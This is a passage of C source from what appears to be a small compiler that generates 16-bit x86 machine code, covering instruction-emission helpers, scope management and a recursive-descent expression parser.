Output1Byte(CurrentVal>>8);
}
void EmitAddRegConst(int r, int Amm)
{
if (!Amm) return;
int Op = r; // I_ADD | r
if (Amm < 0) {
Amm = -Amm;
Op += I_SUB;
}
if (Amm <= 2) {
Output1Byte(Op = (Op&15)|I_INC);
if (--Amm)
Output1Byte(Op);
} else if (Amm < 128) {
Output3Bytes(I_ALU_RM16_IMM8, MODRM_REG|Op, Amm);
} else {
if (!r)
Output1Byte(Op|5);
else
Output2Bytes(I_ALU_RM16_IMM16, MODRM_REG|Op);
OutputWord(Amm);
}
}
void EmitMovRR(int d, int s)
{
Output2Bytes(I_MOV_R_RM|1, MODRM_REG|s<<3|d);
}
void EmitMovRImm(int r, int val)
{
Output3Bytes(I_MOV_R_IMM16|r, val, val>>8);
}
void EmitScaleAx(int Scale)
{
if (Scale & (Scale-1)) {
EmitMovRImm(R_CX, Scale);
Output2Bytes(0xF7, MODRM_REG|(4<<3)|R_CX); // MUL CX
} else {
while (Scale /= 2) {
Output2Bytes(0xD1, MODRM_REG|SHROT_SHL<<3);
}
}
}
void EmitDivCX(void)
{
if (IsUnsignedOp) {
Output2Bytes(I_XOR|1, 0xC0|R_DX<<3|R_DX); // XOR DX, DX
Output2Bytes(0xF7, MODRM_REG|(6<<3)|R_CX); // DIV CX
} else {
Output3Bytes(0x99, 0xF7, MODRM_REG|(7<<3)|R_CX); // CWD \ IDIV CX
}
}
void EmitDivAxConst(int Amm)
{
if (Amm & (Amm-1)) {
EmitMovRImm(R_CX, Amm);
EmitDivCX();
} else {
const int ModRM = IsUnsignedOp ? MODRM_REG|SHROT_SHR<<3 : MODRM_REG|SHROT_SAR<<3;
while (Amm /= 2) {
Output2Bytes(0xD1, ModRM);
}
}
}
int EmitLocalJump(int l)
{
if ((unsigned)l >= (unsigned)LocalLabelCounter) Fail();
int Addr = Labels[l].Addr;
if (Addr) {
Addr -= CodeAddress+2;
if (Addr == (char)Addr) {
Output2Bytes(I_JMP_REL8, Addr);
} else {
Output1Byte(I_JMP_REL16);
OutputWord(Addr-1);
}
return 1;
}
Output1Byte(I_JMP_REL16);
AddFixup(&Labels[l].Ref);
return 0;
}
void EmitJmp(int l)
{
Pending &= ~PENDING_PUSHAX;
if (EmitChecks())
return;
EmitLocalJump(l);
IsDeadCode = 1;
}
void EmitJcc(int cc, int l)
{
if (EmitChecks())
return;
int a = Labels[l].Addr;
if (a) {
a -= CodeAddress+2;
if (a == (char)a) {
Output2Bytes(0x70 | cc, a);
return;
}
}
Output2Bytes(0x70 | (cc^1), 3); // Skip jump
if (!EmitLocalJump(l))
Output[CodeAddress-(CODESTART+3)] = 0; // Mark as fused Jcc/JMP
}
void EmitLoadAddr(int Reg, int Loc, int Val)
{
switch (Loc) {
case VT_LOCOFF:
EmitModrm(I_LEA, Reg, VT_LOCOFF, Val);
return;
case VT_LOCGLOB:
Output1Byte(I_MOV_R_IMM16 | Reg);
EmitGlobalRef(&VarDecls[Val]);
return;
}
Fail();
}
void EmitExtend(int Unsigned)
{
if (Unsigned)
Output2Bytes(I_XOR, MODRM_REG|4<<3|4); // XOR AH, AH
else
Output1Byte(0x98); // CBW
}
void FlushSpAdj(void)
{
if (Pending & ~PENDING_PUSHAX) {
// Preserve state of PendingPushAx and avoid emitting
// a push before adjusting the stack
const int Orig = Pending;
Pending = 0;
EmitAddRegConst(R_SP, Orig & ~PENDING_PUSHAX);
Pending = Orig & PENDING_PUSHAX;
}
}
void FlushPushAx(void)
{
if (Pending & PENDING_PUSHAX) {
Pending &= ~PENDING_PUSHAX;
if (RegUse) {
Output1Byte(I_PUSH|R_BX);
LocalOffset -= 2;
}
Output1Byte(I_XCHG_AX|R_BX);
RegUse = 1;
}
}
int EmitChecks(void)
{
if (IsDeadCode)
return 1;
if (Pending) {
FlushSpAdj();
FlushPushAx();
}
if (CodeAddress > OUTPUT_MAX+CODESTART) Fail();
return 0;
}
///////////////////////////////////////////////////////////////////////
// Parser/Codegen
///////////////////////////////////////////////////////////////////////
void Unexpected(void)
{
PrintTokenType(TokenType);
Fatal("Unexpected token");
}
void Expect(int type)
{
if (TokenType == type) {
GetToken();
return;
}
PrintTokenType(type);
Printf("expected got ");
Unexpected();
}
int ExpectId(void)
{
int id = TokenType;
if (id >= TOK_ID) {
GetToken();
return id - TOK_KEYWORD;
}
Printf("Expected identifier got ");
Unexpected();
}
struct VarDecl* LookupTypedef(void)
{
if (TokenType < TOK_ID)
return 0;
struct VarDecl* VD = VarLookup[TokenType - TOK_KEYWORD];
if (VD && VD->Type & VT_TYPEDEF)
return VD;
return 0;
}
int IsTypeStart(void)
{
switch (TokenType) {
case TOK_AUTO:
case TOK_CONST:
case TOK_VOID:
case TOK_CHAR:
case TOK_INT:
case TOK_ENUM:
case TOK_EXTERN:
case TOK_REGISTER:
case TOK_SHORT:
case TOK_SIGNED:
case TOK_STATIC:
case TOK_STRUCT:
case TOK_TYPEDEF:
case TOK_UNION:
case TOK_UNSIGNED:
case TOK_VOLATILE:
case TOK_VA_LIST:
return 1;
}
return LookupTypedef() != 0;
}
int SizeofType(int Type, int Extra)
{
if (Type & (VT_PTRMASK|VT_FUNPTR))
return 2;
switch (Type & VT_BASEMASK) {
case VT_INT: return 2;
case VT_CHAR: return 1;
case VT_ARRAY:
{
struct ArrayDecl* AD = &ArrayDecls[Extra];
if (!AD->Bound) Fail();
return AD->Bound * SizeofType(AD->Type, AD->TypeExtra);
}
case VT_STRUCT:
{
const int IsUnion = StructDecls[Extra].Id & IS_UNION_FLAG;
int Size = 0;
struct StructMember* SM = StructDecls[Extra].Members;
for (; SM; SM = SM->Next) {
const int MSize = SizeofType(SM->Type, SM->TypeExtra);
if (!IsUnion)
Size += MSize;
else if (MSize > Size)
Size = MSize;
}
return Size;
}
}
Fail();
}
int SizeofCurrentType(void)
{
return SizeofType(CurrentType, CurrentTypeExtra);
}
void LvalToRval(void)
{
if (CurrentType & VT_LVAL) {
const int loc = CurrentType & VT_LOCMASK;
CurrentType &= ~(VT_LVAL | VT_LOCMASK);
if (CurrentType == VT_ARRAY) {
// Decay array
struct ArrayDecl* AD = &ArrayDecls[CurrentTypeExtra];
CurrentType = AD->Type + VT_PTR1;
CurrentTypeExtra = AD->TypeExtra;
LoadAddrRet:
if (loc)
EmitLoadAddr(R_AX, loc, CurrentVal);
return;
}
if (CurrentType & VT_FUNPTR)
goto LoadAddrRet;
const int sz = (CurrentType&~VT_UNSIGNED) != VT_CHAR;
if (!loc)
Output2Bytes(I_XCHG_AX|R_SI, I_LODSB|sz);
else
EmitLoadAx(sz+1, loc, CurrentVal);
if (!sz) {
EmitExtend(CurrentType&VT_UNSIGNED);
CurrentType = VT_INT;
}
}
}
void DoIncDecOp(int Op, int Post)
{
if (!(CurrentType & VT_LVAL)) Fail();
const int WordOp = ((CurrentType&(VT_BASEMASK|VT_PTRMASK)) != VT_CHAR);
const int Loc = CurrentType & VT_LOCMASK;
int Size = 1;
if (CurrentType & VT_PTRMASK)
Size = SizeofType(CurrentType-VT_PTR1, CurrentTypeExtra);
if (!Loc)
Output1Byte(I_XCHG_AX|R_SI);
if (Post) {
EmitLoadAx(1+WordOp, Loc, CurrentVal);
if (!WordOp) {
EmitExtend(CurrentType&VT_UNSIGNED);
}
if (!Loc)
EmitAddRegConst(R_SI, -WordOp-1); // Undo increment done by LODS (for increment/decrement below)
if (WordOp)
CurrentType &= ~(VT_LVAL|VT_LOCMASK);
else
CurrentType = VT_INT;
}
Op = Op == TOK_MINUSMINUS;
if (Size > 1) {
EmitModrm(I_ALU_RM16_IMM8, Op*(I_SUB>>3), Loc, CurrentVal);
Output1Byte(Size);
return;
}
EmitModrm(0xFE|WordOp, Op, Loc, CurrentVal);
}
struct VarDecl* AddVarDeclScope(int Scope, int Id)
{
struct VarDecl* vd = &VarDecls[Scopes[Scope]++];
vd->Type = CurrentType;
vd->TypeExtra = CurrentTypeExtra;
vd->Id = Id;
vd->Offset = 0;
vd->Ref = 0;
return vd;
}
struct VarDecl* AddVarDecl(int Id)
{
if (Scopes[ScopeCount-1] >= VARDECL_MAX) Fail();
// Check if definition/re-declaration in global scope
struct VarDecl* Prev = VarLookup[Id];
if (!IgnoreRedef && Prev) {
return Prev;
}
struct VarDecl* VD = AddVarDeclScope(ScopeCount-1, Id);
VD->Prev = Prev;
VarLookup[Id] = VD;
return VD;
}
struct VarDecl* AddLateGlobalVar(int Id)
{
if ((CurrentVal = Scopes[0]) >= Scopes[1]) Fail();
return AddVarDeclScope(0, Id);
}
void PushScope(void)
{
if (ScopeCount == SCOPE_MAX) Fail();
Scopes[ScopeCount] = Scopes[ScopeCount-1];
++ScopeCount;
++IgnoreRedef;
}
void PopScope(void)
{
if (ScopeCount == 1) Fail();
--ScopeCount;
--IgnoreRedef;
int i = Scopes[ScopeCount-1], e = Scopes[ScopeCount];
for (; i < e; ++i) {
struct VarDecl* vd = &VarDecls[i];
if (vd->Id < 0)
continue;
if (vd->Ref) {
// Move static variable for real to global scope
CurrentType = vd->Type;
CurrentTypeExtra = vd->TypeExtra;
AddLateGlobalVar(-2)->Ref = vd->Ref;
}
VarLookup[vd->Id] = vd->Prev;
}
}
void HandlePrimaryId(void)
{
struct VarDecl* vd = VarLookup[CurrentVal];
if (!vd) {
// Lookup failed. Assume function returning int.
CurrentType = VT_LOCGLOB|VT_FUN|VT_INT;
CurrentTypeExtra = 0;
if (IsDeadCode) {
CurrentVal = 0;
} else {
VarLookup[CurrentVal] = &VarDecls[Scopes[0]];
AddLateGlobalVar(CurrentVal);
}
return;
}
CurrentVal = vd->Offset;
switch ((CurrentType = vd->Type | VT_LVAL) & VT_LOCMASK) {
case VT_LOCLIT:
CurrentType = VT_LOCLIT|VT_INT;
return;
case VT_LOCGLOB:
CurrentVal = vd - VarDecls;
}
CurrentTypeExtra = vd->TypeExtra;
}
void ParseExpr(void);
void ParseAbstractDecl(void);
void HandleVarArg(void)
{
// Handle var arg builtins
const int func = TokenType;
GetToken();
Expect('(');
int id = ExpectId();
struct VarDecl* vd = VarLookup[id];
if (!vd || vd->Type != (VT_LOCOFF|VT_CHAR|VT_PTR1)) Fail();
const int offset = vd->Offset;
if (func == TOK_VA_START) {
Expect(',');
id = ExpectId();
vd = VarLookup[id];
if (!vd || (vd->Type & VT_LOCMASK) != VT_LOCOFF) Fail();
EmitModrm(I_LEA, R_AX, VT_LOCOFF, vd->Offset);
EmitStoreAx(2, VT_LOCOFF, offset);
} else if (func == TOK_VA_ARG) {
Expect(',');
EmitLoadAx(2, VT_LOCOFF, offset);
EmitAddRegConst(R_AX, 2);
EmitStoreAx(2, VT_LOCOFF, offset);
ParseAbstractDecl();
CurrentType |= VT_LVAL;
}
Expect(')');
}
void ParsePrimaryExpression(void)
{
switch (TokenType) {
case '(':
GetToken();
ParseExpr();
Expect(')');
return;
case TOK_NUM:
CurrentType = VT_LOCLIT | VT_INT;
CurrentVal = TokenNumVal;
GetToken();
return;
case TOK_STRLIT:
if (ArrayCount == ARRAY_MAX) Fail();
struct ArrayDecl* AD = &ArrayDecls[ArrayCount];
AD->Bound = TokenNumVal;
AD->Type = VT_CHAR;
AD->TypeExtra = 0;
CurrentType = VT_ARRAY | VT_LVAL;
CurrentTypeExtra = ArrayCount++;
if (!IsDeadCode) {
int EndLab = -1;
if (ScopeCount != 1) {
Output1Byte(I_MOV_R_IMM16);
OutputWord(CodeAddress+5);
EmitJmp(EndLab = MakeLabel());
IsDeadCode = 0;
}
while (TokenNumVal--)
Output1Byte(*TokenStrLit++);
if (EndLab != -1)
EmitLocalLabel(EndLab);
}
GetToken();
return;
case TOK_VA_ARG:
case TOK_VA_START:
case TOK_VA_END:
HandleVarArg();
return;
}
CurrentVal = ExpectId();
HandlePrimaryId();
}
// Get current value to AX
void GetVal(void)
{
if (CurrentType == VT_BOOL) {
EmitMovRImm(R_AX, 0);
Output3Bytes(0x70 | (CurrentVal^1), 1, I_INC);
CurrentType = VT_INT;
return;
}
LvalToRval();
if (CurrentType & VT_LOCMASK) {
if (CurrentType != (VT_INT|VT_LOCLIT)) Fail();
CurrentType = VT_INT;
if (CurrentVal)
EmitMovRImm(R_AX, CurrentVal);
else
Output2Bytes(I_XOR|1, 0xC0);
}
}
void ParseAssignmentExpression(void);
int GetStoredVal(int Reg)
{
if (Pending&PENDING_PUSHAX) Fail();
if (RegUse) {
RegUse = 0;
switch (Reg) {
case -1:
case R_BX:
return R_BX;
case R_AX:
Output1Byte(I_XCHG_AX|R_BX);
return R_AX;
}
EmitMovRR(Reg, R_BX);
return Reg;
}
if (Reg < 0)
Reg = R_CX;
Output1Byte(I_POP|Reg);
LocalOffset += 2;
return Reg;
}
void ParsePostfixExpression(void)
{
while (OperatorPrecedence == PREC_STOP) {
switch (TokenType) {
case ';': case ')': case ']': case ':':
return;
case '(':
{
// Function call
GetToken();
if (!(CurrentType & VT_FUNPTR)) Fail();
const int RetType = CurrentType & ~(VT_FUNPTR|VT_LOCMASK|VT_LVAL);
int RetExtra = CurrentTypeExtra;
struct VarDecl* Func = 0;
switch (CurrentType & VT_LOCMASK) {
case VT_LOCGLOB:
Func = &VarDecls[CurrentVal];
RetExtra = Func->TypeExtra;
break;
case 0:
Output1Byte(I_XCHG_AX|R_SI);
// Fall through
default:
EmitLoadAx(2, CurrentType & VT_LOCMASK, CurrentVal);
Output1Byte(I_PUSH|R_AX); // TODO: Could possibly optimize as PENDING_PUSHAX
LocalOffset -= 2;
}
int RU = RegUse;
if (Pending & PENDING_PUSHAX) {
Pending &= ~PENDING_PUSHAX;
if (RU) {
Output1Byte(I_PUSH|R_BX);
LocalOffset -= 2;
RegUse = 0;
}
Output1Byte(I_PUSH|R_AX);
LocalOffset -= 2;
}
if (RegUse) {
Output1Byte(I_PUSH|R_BX);
LocalOffset -= 2;
RegUse = 0;
}
int ArgSize = 0;
enum { ArgChunkSize = 8 }; // Must be power of 2
while (TokenType != ')') {
if (!(ArgSize & (ArgChunkSize-1))) {
FlushPushAx();
LocalOffset -= ArgChunkSize;
Pending -= ArgChunkSize;
if (ArgSize) {
// Move arguments to new stack top
EmitModrm(I_LEA, R_SI, VT_LOCOFF, LocalOffset + ArgChunkSize);
EmitModrm(I_LEA, R_DI, VT_LOCOFF, LocalOffset);
EmitMovRImm(R_CX, ArgSize/2);
Output2Bytes(0xF3, 0xA5); // REP MOVSW
}
}
ParseAssignmentExpression();
if (CurrentType == (VT_INT|VT_LOCLIT)) {
EmitStoreConst(2, VT_LOCOFF, LocalOffset + ArgSize);
} else {
GetVal();
if ((CurrentType&~VT_UNSIGNED) != VT_INT && !(CurrentType & VT_PTRMASK)) Fail();
EmitStoreAx(2, VT_LOCOFF, LocalOffset + ArgSize);
}
ArgSize += 2;
if (TokenType == ',') {
GetToken();
continue;
}
break;
}
Expect(')');
ArgSize = (ArgSize+(ArgChunkSize-1))&-ArgChunkSize;
if (Func) {
Output1Byte(0xE8); // CALL re16
EmitGlobalRefRel(Func);
} else {
EmitLoadAx(2, VT_LOCOFF, LocalOffset + ArgSize); // Can't pop if arguments were used
Output2Bytes(0xFF, MODRM_REG|2<<3); // CALL AX
ArgSize += 2;
}
Pending += ArgSize;
LocalOffset += ArgSize;
CurrentType = RetType;
if ((CurrentType&~VT_UNSIGNED) == VT_CHAR) {
CurrentType = VT_INT;
}
CurrentTypeExtra = RetExtra;
continue;
}
case '[':
{
GetToken();
struct VarDecl* GlobalArr = 0;
if ((CurrentType & (VT_BASEMASK|VT_LOCMASK)) == (VT_ARRAY|VT_LOCGLOB)) {
struct ArrayDecl* AD = &ArrayDecls[CurrentTypeExtra];
GlobalArr = &VarDecls[CurrentVal];
CurrentType = AD->Type;
CurrentTypeExtra = AD->TypeExtra;
} else {
LvalToRval();
if (!(CurrentType & VT_PTRMASK)) {
Fatal("Expected pointer");
}
CurrentType -= VT_PTR1;
if (!IsDeadCode) Pending |= PENDING_PUSHAX;
}
const int Scale = SizeofCurrentType();
const int ResType = CurrentType | VT_LVAL;
const int ResExtra = CurrentTypeExtra;
ParseExpr();
Expect(']');
if (!IsDeadCode) {
if (CurrentType == (VT_INT|VT_LOCLIT)) {
if (GlobalArr) {
Output1Byte(I_MOV_R_IMM16|R_AX);
EmitGlobalRef(GlobalArr);
} else {
if (!(Pending & PENDING_PUSHAX)) Fail();
Pending &= ~PENDING_PUSHAX;
}
EmitAddRegConst(R_AX, CurrentVal * Scale);
} else {
LvalToRval();
if ((CurrentType&~VT_UNSIGNED) != VT_INT || (Pending & PENDING_PUSHAX)) Fail();
EmitScaleAx(Scale);
if (GlobalArr) {
Output1Byte(I_ADD|5);
EmitGlobalRef(GlobalArr);
} else {
Output2Bytes(I_ADD|1, MODRM_REG|GetStoredVal(-1)<<3);
}
}
}
CurrentType = ResType;
CurrentTypeExtra = ResExtra;
if (CurrentType & VT_LOCMASK) Fail();
continue;
}
case '.':
if ((CurrentType & ~VT_LOCMASK) != (VT_STRUCT|VT_LVAL)) Fail();
DoStructMem:
GetToken();
{
const int MemId = ExpectId();
if ((unsigned)CurrentTypeExtra >= (unsigned)StructCount) Fail();
struct StructDecl* S = &StructDecls[CurrentTypeExtra];
struct StructMember* SM = S->Members;
int Off = 0;
for (; SM && SM->Id != MemId; SM = SM->Next) {
Off += SizeofType(SM->Type, SM->TypeExtra);
}
if (!SM) {
Fatal("Invalid struct member");
}
int Loc = CurrentType & VT_LOCMASK;
if (Off && !(S->Id & IS_UNION_FLAG)) {
if (Loc == VT_LOCOFF) {
CurrentVal += Off;
} else {
if (Loc) {
EmitLoadAddr(R_AX, Loc, CurrentVal);
Loc = 0;
}
EmitAddRegConst(R_AX, Off);
}
}
CurrentType = SM->Type | VT_LVAL | Loc;
CurrentTypeExtra = SM->TypeExtra;
}
continue;
case TOK_ARROW:
LvalToRval();
if ((CurrentType & ~VT_LOCMASK) != (VT_STRUCT|VT_PTR1)) Fail();
CurrentType -= VT_PTR1;
goto DoStructMem;
case TOK_PLUSPLUS:
case TOK_MINUSMINUS:
DoIncDecOp(TokenType, 1);
GetToken();
continue;
}
return;
}
}
void ParseCastExpression(void);
void ToBool(void)
{
LvalToRval();
if (CodeAddress != LastZFInst)
Output2Bytes(I_AND|1, MODRM_REG); // AND AX, AX
CurrentType = VT_BOOL;
CurrentVal = JNZ;
}
void ParseUnaryExpression(void)
{
switch (TokenType) {
case TOK_NUM:
break; // Fast path to ParsePrimaryExpression()
case '-':
case '!':
case '*':
case '&':
case '~':
case '+':
{
const int Op = TokenType;
GetToken();
ParseCastExpression();
if (Op == '&') {
if (!(CurrentType & VT_LVAL)) {
Fatal("Lvalue required for address-of operator");
}
if (CurrentType & VT_FUNPTR)
return;
const int loc = CurrentType & VT_LOCMASK;
if (loc) {
EmitLoadAddr(R_AX, loc, CurrentVal);
}
CurrentType = (CurrentType&~(VT_LVAL|VT_LOCMASK)) + VT_PTR1;
return;
}
int IsConst = 0;
if ((CurrentType & VT_LOCMASK) == VT_LOCLIT) {
if (CurrentType != (VT_INT|VT_LOCLIT)) Fail();
IsConst = 1;
} else {
LvalToRval();
}
if (Op == '-') {
if (IsConst) {
CurrentVal = -CurrentVal;
} else {
if ((CurrentType&~VT_UNSIGNED) != VT_INT) Fail();
Output2Bytes(0xF7, 0xD8); // NEG AX
}
} else if (Op == '!') {
if (IsConst) {
CurrentVal = !CurrentVal;
} else {
if (CurrentType != VT_BOOL)
ToBool();
CurrentVal ^= 1;
}
} else if (Op == '*') {
if (CurrentType & VT_FUNPTR)
return;
if (!(CurrentType & VT_PTRMASK)) {
Fatal("Pointer required for dereference");
}
CurrentType = (CurrentType-VT_PTR1) | VT_LVAL;
} else if (Op == '~') {
if (IsConst) {
CurrentVal = ~CurrentVal;
} else {
if ((CurrentType&~VT_UNSIGNED) != VT_INT) Fail();
Output2Bytes(0xF7, 0xD0); // NOT AX
}
} else if (Op != '+') {
Fail();
}
return;
}
case TOK_PLUSPLUS:
case TOK_MINUSMINUS:
{
const int Op = TokenType;
GetToken();
ParseUnaryExpression();
DoIncDecOp(Op, 0);
return;
}
case TOK_SIZEOF:
{
GetToken();
const int WasDead = IsDeadCode;
IsDeadCode = 1;
if (TokenType == '(') {
GetToken();
if (IsTypeStart()) {
ParseAbstractDecl();
CurrentVal = SizeofCurrentType();
} else {
ParseAssignmentExpression();
}
Expect(')');
} else {
ParseUnaryExpression();
}
if (!IsDeadCode) Fail();
IsDeadCode = WasDead;
CurrentVal = SizeofCurrentType();
CurrentType = VT_LOCLIT | VT_INT;
return;
}
}
ParsePrimaryExpression();
ParsePostfixExpression();
}
void ParseCastExpression(void)
{
if (TokenType == '(') {
GetToken();
if (IsTypeStart()) {
ParseAbstractDecl();
Expect(')');
const int T = CurrentType;
const int E = CurrentTypeExtra;
if (T & VT_LOCMASK) Fail();
ParseCastExpression();
GetVal(); // TODO: could optimize some constant expressions here
CurrentType = T;
CurrentTypeExtra = E;
if ((CurrentType&~VT_UNSIGNED) == VT_CHAR) {
EmitExtend(CurrentType&VT_UNSIGNED);
CurrentType = VT_INT;
}
} else {
ParseExpr();
Expect(')');
ParsePostfixExpression();
}
} else {
ParseUnaryExpression();
}
}
int RemoveAssign(int Op)
{
switch (Op) {
case TOK_PLUSEQ: return '+';
case TOK_MINUSEQ: return '-';
case TOK_STAREQ: return '*';
case TOK_SLASHEQ: return '/';
case TOK_MODEQ: return '%';
case TOK_LSHEQ: return TOK_LSH;
case TOK_RSHEQ: return TOK_RSH;
case TOK_ANDEQ: return '&';
case TOK_XOREQ: return '^';
case TOK_OREQ: return '|';
}
Fail();
}
int GetSimpleALU(int Op)
{
switch (Op) {
case '+': return I_ADD|1;
case '-': return I_SUB|1;
case '&': return I_AND|1;
case '^': return I_XOR|1;
case '|': return I_OR|1;
case '<': return IsUnsignedOp ? I_CMP|1|JC<<8 : I_CMP|1|JL<<8;
case TOK_LTEQ: return IsUnsignedOp ? I_CMP|1|JNA<<8 : I_CMP|1|JNG<<8;
case '>': return IsUnsignedOp ? I_CMP|1|JA<<8 : I_CMP|1|JG<<8;
case TOK_GTEQ: return IsUnsignedOp ? I_CMP|1|JNC<<8 : I_CMP|1|JNL<<8;
case TOK_EQEQ: return I_CMP|1|JZ<<8;
case TOK_NOTEQ: return I_CMP|1|JNZ<<8;
}
return 0;
}
void FinishOp(int Inst)
{
if (Inst >>= 8) {
CurrentType = VT_BOOL;
CurrentVal = Inst;
}
}
// Emit: AX <- AX 'OP' Reg
void DoBinOp(int Op, int Reg)
{
int Inst = GetSimpleALU(Op);
int RM = MODRM_REG|Reg<<3;
if (Inst)
goto HasInst;
if (Op == '*') {
// MUL : F7 /4
Inst = 0xF7;
RM = MODRM_REG|(4<<3)|Reg;
goto HasInst;
}
if (Reg != R_CX) Fail();
switch (Op) {
case '/': case '%':
EmitDivCX();
if (Op == '%') {
Output1Byte(I_XCHG_AX|R_DX);
}
return;
}
Inst = 0xD3;
if (Op == TOK_LSH) {
RM = MODRM_REG|SHROT_SHL<<3;
} else {
if (Op != TOK_RSH) Fail();
Inst = 0xD3;
if (IsUnsignedOp)
RM = MODRM_REG|SHROT_SHR<<3;
else
RM = MODRM_REG|SHROT_SAR<<3;
}
HasInst:
Output2Bytes(Inst, RM);
FinishOp(Inst);
}
int DoRhsLvalBinOp(int Op)
{
const int Loc = CurrentType & VT_LOCMASK;
CurrentType &= ~(VT_LOCMASK|VT_LVAL);
int Inst = GetSimpleALU(Op);
if (!Inst) {
Output1Byte(I_XCHG_AX|R_CX);
EmitLoadAx(2, Loc, CurrentVal);
return 0;
}
EmitModrm(Inst|3, R_AX, Loc, CurrentVal);
FinishOp(Inst);
return 1;
}
void DoRhsConstBinOp(int Op)
{
switch (Op) {
case '+': EmitAddRegConst(R_AX, CurrentVal); return;
case '-': EmitAddRegConst(R_AX, -CurrentVal); return;
case '*': EmitScaleAx(CurrentVal); return;
case '/': EmitDivAxConst(CurrentVal); return;
}
int Inst = GetSimpleALU(Op);
if (Inst) {
Output3Bytes(Inst|5, CurrentVal, CurrentVal>>8);
FinishOp(Inst);
} else {
if (Op&0x80) // Shift op?
Output2Bytes(0xB1, CurrentVal); // MOV CL, CurrentVal
else
EmitMovRImm(R_CX, CurrentVal);
DoBinOp(Op, R_CX);
}
}
int DoConstBinOp(int Op, int L, int R)
{
switch (Op) {
case '+': return L + R;
case '-': return L - R;
case '*': return L * R;
case '/': return L / R;
case '%': return L % R;
case '&': return L & R;
case '^': return L ^ R;
case '|': return L | R;
case TOK_LSH: return L << R;
case TOK_RSH: return L >> R;
}
Fail();
}
int OpCommutes(int Op)
{
switch (Op) {
case '+':
case '*':
case TOK_EQEQ:
case TOK_NOTEQ:
case '&':
case '^':
case '|':
return 1;
}
return 0;
}
void DoCondHasExpr(int Label, int Forward) // forward => jump if label is false
{
if (CurrentType == (VT_LOCLIT|VT_INT)) {
// Constant condition
if (!CurrentVal && Forward)
EmitJmp(Label);
return;
}
if (CurrentType != VT_BOOL)
ToBool();
EmitJcc(CurrentVal^Forward, Label);
}
void DoCond(int Label, int Forward) // forward => jump if label is false
{
ParseExpr();
DoCondHasExpr(Label, Forward);
}
void ForceToReg(void)
{
// Always decay arrays
if ((CurrentType & VT_BASEMASK) == VT_ARRAY)
LvalToRval();
const int Loc = CurrentType & VT_LOCMASK;
if (!Loc) return;
if (Loc == VT_LOCGLOB || Loc == VT_LOCOFF) {
EmitLoadAddr(R_AX, Loc, CurrentVal);
CurrentType &= ~VT_LOCMASK;
} else {
GetVal();
}
}
void ParseMaybeDead(int Live)
{
if (Live) {
ParseAssignmentExpression();
} else {
const int OldType = CurrentType;
const int OldVal = CurrentVal;
const int OldExtra = CurrentTypeExtra;
const int WasDead = IsDeadCode;
IsDeadCode = 1;
ParseAssignmentExpression();
if (!IsDeadCode) Fail();
IsDeadCode = WasDead;
CurrentType = OldType;
CurrentVal = OldVal;
CurrentTypeExtra = OldExtra;
}
}
void HandleCondOp(void)
{
if (CurrentType == (VT_LOCLIT|VT_INT)) {
// Handle potentially constant conditions
const int V = CurrentVal;
ParseMaybeDead(V);
Expect(':');
ParseMaybeDead(!V);
return;
}
const int FalseLabel = MakeLabel();
const int EndLabel = MakeLabel();
DoCondHasExpr(FalseLabel, 1);
ParseAssignmentExpression();
ForceToReg();
const int LhsType = CurrentType;
EmitJmp(EndLabel);
Expect(':');
EmitLocalLabel(FalseLabel);
ParseAssignmentExpression();
ForceToReg();
// Check if type unification is needed.
// This is certainly the case if only one side is an lvalue
// or if the types are "too different".
int TypeDiff = LhsType ^ CurrentType;
if ((TypeDiff & VT_LVAL) || ((TypeDiff & VT_BASEMASK) && !(CurrentType & VT_PTRMASK))) {
const int RealEnd = MakeLabel();
LvalToRval();
EmitJmp(RealEnd);
EmitLocalLabel(EndLabel);
CurrentType = LhsType;
LvalToRval();
EmitLocalLabel(RealEnd);
} else {
EmitLocalLabel(EndLabel);
}
}
void HandleLhsLvalLoc(int LhsLoc)
{
switch (LhsLoc) {
case VT_LOCOFF:
case VT_LOCGLOB:
return;
case 0:
if (Pending & PENDING_PUSHAX) {
Pending &= ~PENDING_PUSHAX;
Output1Byte(I_XCHG_AX|R_DI);
} else {
GetStoredVal(R_DI);
}
return;
}
Fail();
}
void ParseExpr1(int OuterPrecedence)
{
int LEnd;
int Temp;
int Op;
int Prec;
int LhsType;
int LhsTypeExtra;
int LhsVal;
int LhsLoc;
do {
Op = TokenType;
Prec = OperatorPrecedence;
GetToken();
if (Op == '?') {
HandleCondOp();
continue;
}
if (Prec == PREC_ASSIGN) {
if (!(CurrentType & VT_LVAL)) {
Fatal("L-value required");
}
CurrentType &= ~VT_LVAL;
if (Op != '=')
Op = RemoveAssign(Op);
} else {
LvalToRval();
}
Temp = Op == TOK_OROR;
if (Temp || Op == TOK_ANDAND) {
LEnd = MakeLabel();
if (CurrentType != VT_BOOL)
ToBool();
EmitJcc(CurrentVal ^ !Temp, LEnd);
} else {
LEnd = -1;
if (CurrentType == VT_BOOL)
GetVal();
if (!(CurrentType & VT_LOCMASK) && Op != ',' && !IsDeadCode) {
Pending |= PENDING_PUSHAX;
}
}
LhsType = CurrentType;
LhsTypeExtra = CurrentTypeExtra;
LhsVal = CurrentVal;
ParseCastExpression(); // RHS
for (;;) {
if (OperatorPrecedence > Prec || (OperatorPrecedence == Prec && OperatorPrecedence != PREC_ASSIGN)) // Precedence == PREC_ASSIGN <=> IsRightAssociative
break;
ParseExpr1(OperatorPrecedence);
}
if (Op == ',') {
continue;
}
LhsLoc = LhsType & VT_LOCMASK;
LhsType &= ~VT_LOCMASK;
if (LhsLoc == VT_LOCLIT && CurrentType == (VT_LOCLIT|VT_INT)) {
if (LhsType != VT_INT) Fail();
CurrentVal = DoConstBinOp(Op, LhsVal, CurrentVal);
continue;
}
if (LEnd >= 0) {
if (CurrentType != VT_BOOL)
ToBool();
if (LhsVal != CurrentVal) {
Output2Bytes(0xB0, !Temp);
Output2Bytes(0x70|(CurrentVal^Temp), 2);
EmitLocalLabel(LEnd);
Output3Bytes(0xB0, Temp, 0x98);
CurrentType = VT_INT;
} else {
EmitLocalLabel(LEnd);
}
continue;
}
IsUnsignedOp = LhsType == (VT_UNSIGNED|VT_INT) || (CurrentType&(VT_UNSIGNED|VT_PTRMASK|VT_BASEMASK)) == (VT_UNSIGNED|VT_INT);
if (Prec == PREC_ASSIGN) {
HandleLhsLvalLoc(LhsLoc);
if (LhsType == VT_STRUCT) {
// Struct assignment
if ((CurrentType&~VT_LOCMASK) != (VT_STRUCT|VT_LVAL) || CurrentTypeExtra != LhsTypeExtra)
Fail();
Temp = CurrentType & VT_LOCMASK;
if (LhsLoc)
EmitLoadAddr(R_DI, LhsLoc, LhsVal);
if (Temp)
EmitLoadAddr(R_SI, Temp, CurrentVal);
else
